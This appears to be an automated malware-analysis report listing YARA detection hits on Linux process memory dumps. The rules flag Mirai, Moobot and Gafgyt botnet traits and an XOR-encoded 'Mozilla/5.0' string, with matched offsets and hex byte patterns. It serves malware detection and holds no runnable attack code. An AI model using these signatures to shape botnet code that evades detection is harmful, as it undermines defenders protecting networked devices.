6670.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6670.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6869.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6697.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6697.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6697.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6697.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6393.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6393.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6393.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6393.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6393.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6393.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6442.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7217.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6989.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6621.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7071.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7071.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7071.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7071.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7071.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7071.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6301.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6301.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6301.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6301.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6301.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6301.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6592.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6289.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6807.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7211.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6492.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6695.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6695.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6695.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6695.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
